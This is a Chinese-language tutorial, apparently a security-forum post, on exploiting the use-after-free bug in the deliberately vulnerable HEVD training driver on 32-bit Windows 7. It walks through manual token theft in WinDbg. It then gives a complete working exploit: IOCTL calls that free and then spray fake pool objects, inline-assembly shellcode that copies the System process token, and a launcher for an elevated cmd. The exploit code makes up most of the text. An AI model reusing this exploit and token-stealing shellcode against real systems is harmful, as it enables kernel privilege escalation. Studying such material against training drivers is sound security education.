Vmware 15.0 + windows 7 x86 sp1 Windbg preview + VirtualKD-Redux HEVD 3.0 + OSR loader
UAF的全称是Use After Free,表示一个内存块被释放之后再次进行操作.主要分为以下几种情况:
第一种情况是利用不了的,所以我们一般攻击的都是后两种情况.这里我写了个小demo来展示一下攻击原理:
#include <stdio.h> #include <stdlib.h> int main() { fprintf(stderr, "申请1个堆块,接着将其释放\n"); int *ptr_1 = malloc(8); fprintf(stderr, "ptr_1 (8): %p\n", ptr_1); free(ptr_1); fprintf(stderr, "再申请1个堆块,在其中写入内容\n"); int *ptr_2 = malloc(8); strncpy(ptr_2, "seclover", 8); printf("ptr_2 (8):%p,content:%s\n", ptr_2, ptr_2); fprintf(stderr, "此时对ptr_1进行操作.\n"); strncpy(ptr_1, "_U_A_F_!", 8); printf("ptr_2->content:%s\n", ptr_2); return 0; }
运行结果如下:
[0] % ./1 申请1个堆块,接着将其释放 ptr_1 (8): 0x2220010 再申请1个堆块,在其中写入内容 ptr_2 (8):0x2220010,content:seclover 此时对ptr_1进行操作. ptr_2->content:_U_A_F_!
ptr_1这样释放后却没有置零的指针就是悬挂指针,通过这个悬挂指针,我们可以越过ptr_2直接修改ptr_2所指向的堆块.如果堆块中保存着函数指针之类的重要值,那么我们就可以做到劫持控制流了.
以往做ctf题目的时候,如果能控制程序执行流,经常会考虑系统调用system("/bin/sh")之类的手段来控制计算机,但是到了内核这边,我们普普通通运行一个程序是没有管理员权限的,为了肆无忌惮地操作,我们需要通过一些手段来提升我们的权限.
回想一下,进程的特权是由一个叫做Token的内核对象决定的,进程的数据结构中保存着指向Token的指针.当进程尝试打开文件或者是其他操作时,系统将Token的权限级别和要求的权限级别进行对比,以决定是允许还是拒绝.如果我们能够将进程的Token改为windows系统进程System的Token,那我们就等同于拥有了System进程的权限,这也就是我们常说的提权.
接下来我们具体演示一下,我们先要在windows里用普通权限打开一个cmd
接着用windbg断下来,查看一下System进程的地址
该地址指向一个_EPROCESS结构体,我们查看一下其中的信息
kd> dt _EPROCESS 869f78a8 nt!_EPROCESS +0x000 Pcb : _KPROCESS ---省略--- +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : 0 +0x100 AddressCreationLock : _EX_PUSH_LOCK
在偏移位置0x0f8的位置保存的就是Token指针.
接着用同样的方法找到cmd进程的Token
kd> DT _EPROCESS 8809a880 nt!_EPROCESS +0x000 Pcb : _KPROCESS ---省略--- +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : 0x1bd31 +0x100 AddressCreationLock : _EX_PUSH_LOCK
这样我们直接将cmd的Token修改为System的Token->value就可以了
kd> ed 0x8809a978 0x8a201266
到此成功了,现在我们只需要验证一下就行了.
因为有源码,所以我直接看源码吧.在FreeUaFObjectNonPagedPool函数中有如下代码:
#ifdef SECURE // // Secure Note: This is secure because the developer is setting // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed // ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); // // Set to NULL to avoid dangling pointer // g_UseAfterFreeObjectNonPagedPool = NULL; #else // // Vulnerability Note: This is a vanilla Use After Free vulnerability // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL. // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer // (dangling pointer) // ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); #endif
典型的UAF漏洞,g_UseAfterFreeObjectNonPagedPool是一个全局变量,驱动在对其进行释放之后并没有置零,从而导致了UAF,这里其实也给出了修复方法,置零指针就行了.现在漏洞有了,我们看看如何利用.先看看g_UseAfterFreeObjectNonPagedPool的结构
typedef struct _USE_AFTER_FREE_NON_PAGED_POOL { FunctionPointer Callback; CHAR Buffer[0x54]; } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;
一个函数指针,非常有吸引力,我们接着看看哪里会使用这个指针:
if (g_UseAfterFreeObjectNonPagedPool) { DbgPrint("[+] Using UaF Object\n"); DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool); DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback); DbgPrint("[+] Calling Callback\n"); if (g_UseAfterFreeObjectNonPagedPool->Callback) { g_UseAfterFreeObjectNonPagedPool->Callback(); } Status = STATUS_SUCCESS; }
在UseUaFObjectNonPagedPool函数中调用了我们的函数指针,所以只要我们成功修改这个函数指针,就能轻松控制程序执行流了.
这个时候基本心里有数了,大致的利用流程应该是这样的,接着逐步写出exp
接着逐步写出exp
我们通过DeviceIoControl函数来实现对驱动中函数的调用,第二个参数由HackSysExtremeVulnerableDriver.c中的IrpDeviceIoCtlHandler()函数中的switch{case}结构中实现:
// 创建对象 // 调用 AllocateUaFObject对象 DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
继续用DeviceIoControl函数就可以了.
// 调用FreeUaFObject // 释放对象 DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
fake chunk的基本构造,函数指针指向我们的shellcode函数,然后用'A'来填充堆块
// fake chunk的基本构造,函数指针指向我们的shellcode函数,然后用'A'来填充堆块 typedef struct _FAKE_USE_AFTER_FREE { FunctionPointer countinter; char bufffer[0x54]; }FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE; PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE)); fakeG_UseAfterFree->countinter = ShellCode; RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
我们可以稍微灵活一点,既然只一个堆块的话成功率不高,我们就可以发扬人海战术,申请千千万万个堆,这样瞎猫碰到死耗子的概率就很高了.驱动本身还提供了一个AllocateFakeObjectNonPagedPool函数来允许我们在非分页内存池上分配一个伪造的对象
for (int i = 0; i < 5000; i++) { // 调用 AllocateFakeObject() 对象 DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL); }
// 调用函数指针 DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL);
回想一下,前面讲了Windows提权的原理,即修改普通进程的Token为系统进程System的Token->Value.在windbg中我们一条命令就成功了,但遗憾的是,并不是所有人的Windows都运行在我的电脑上,所以我们需要用汇编来构造提权代码.因为我们是在驱动之中,所以我们可以定义一个函数来容纳我们的汇编代码,函数指针就是shellcode起始地址:
void ShellCode() { _asm { nop nop nop nop pushad ; fs寄存器指向当前活动线程的TEB结构, 偏移0x124的地址为当前线程的KTHEEAD结构 mov eax, fs: [124h] ; _KTHREAD结构的偏移0x50处为_KPROCESS结构,而_KPROCESS为_EPOCESS结构的第一个字段 mov eax, [eax + 0x50] mov ecx, eax mov edx, 4 ; 通过_EPROCESS中偏移0xb8处的进程双向链表,偏移0xb4处的进程标识符以及System进程的进程标识符4遍历链表匹配到System进程 find_sys_pid : mov eax, [eax + 0xb8] sub eax, 0xb8 cmp[eax + 0xb4], edx jnz find_sys_pid ; 接着寻找Token mov edx, [eax + 0xf8] mov[ecx + 0xf8], edx popad ret } }
现在exp的主体部分就算搞完了,完整版本如下:
#include <iostream> #include <Windows.h> void ShellCode() { _asm { nop nop nop nop pushad ; fs寄存器指向当前活动线程的TEB结构, 偏移0x124的地址为当前线程的KTHEEAD结构 mov eax, fs: [124h] ; _KTHREAD结构的偏移0x50处为_KPROCESS结构,而_KPROCESS为_EPOCESS结构的第一个字段 mov eax, [eax + 0x50] mov ecx, eax mov edx, 4 ; 通过_EPROCESS中偏移0xb8处的进程双向链表,偏移0xb4处的进程标识符以及System进程的进程标识符4遍历链表匹配到System进程 find_sys_pid : mov eax, [eax + 0xb8] sub eax, 0xb8 cmp[eax + 0xb4], edx jnz find_sys_pid ; 接着寻找Token mov edx, [eax + 0xf8] mov[ecx + 0xf8], edx popad ret } } typedef void(*FunctionPointer) (); typedef struct _FAKEUSEAFTERFREE { FunctionPointer countinter; char bufffer[0x54]; }FAKEUSEAFTERFREE, * PUSEAFTERFREE; static VOID xxCreateCmdLineProcess(VOID) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); } int main() { DWORD recvBuf; // 获取句柄 HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL); if (hDevice == NULL || hDevice == HANDLE(-1)) { std::cout << "[+] 获取驱动句柄失败" << std::endl; return 0; } // 创建对象 // 调用 AllocateUaFObject对象 DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL); std::cout << "1. 申请堆块成功" << std::endl; // 调用FreeUaFObject // 释放对象 DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL); std::cout << "2. 释放堆块成功" << std::endl; // ok, 接下来是如何覆盖 PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE)); fakeG_UseAfterFree->countinter = ShellCode; RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A'); // 喷射 for (int i = 0; i < 5000; i++) { DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL); } std::cout << "3. 覆盖堆块成功" << std::endl; // 调用函数指针 DeviceIoControl(hDevice, 0x222017, NULL, NULL, NULL, 0, &recvBuf, NULL); std::cout << "4. 调用函数指针成功" << std::endl; // cmd.exe std::cout << "5. shellcode执行成功" << std::endl; xxCreateCmdLineProcess(); return 0; }ss
至此,我们只要运行这个exp就可以提权了.
0x2l.github.io
[培训]《安卓高级研修班(网课)》9月班开始招生!挑战极限、工资翻倍!
最后于 5天前 被0x2l编辑 ,原因: 修改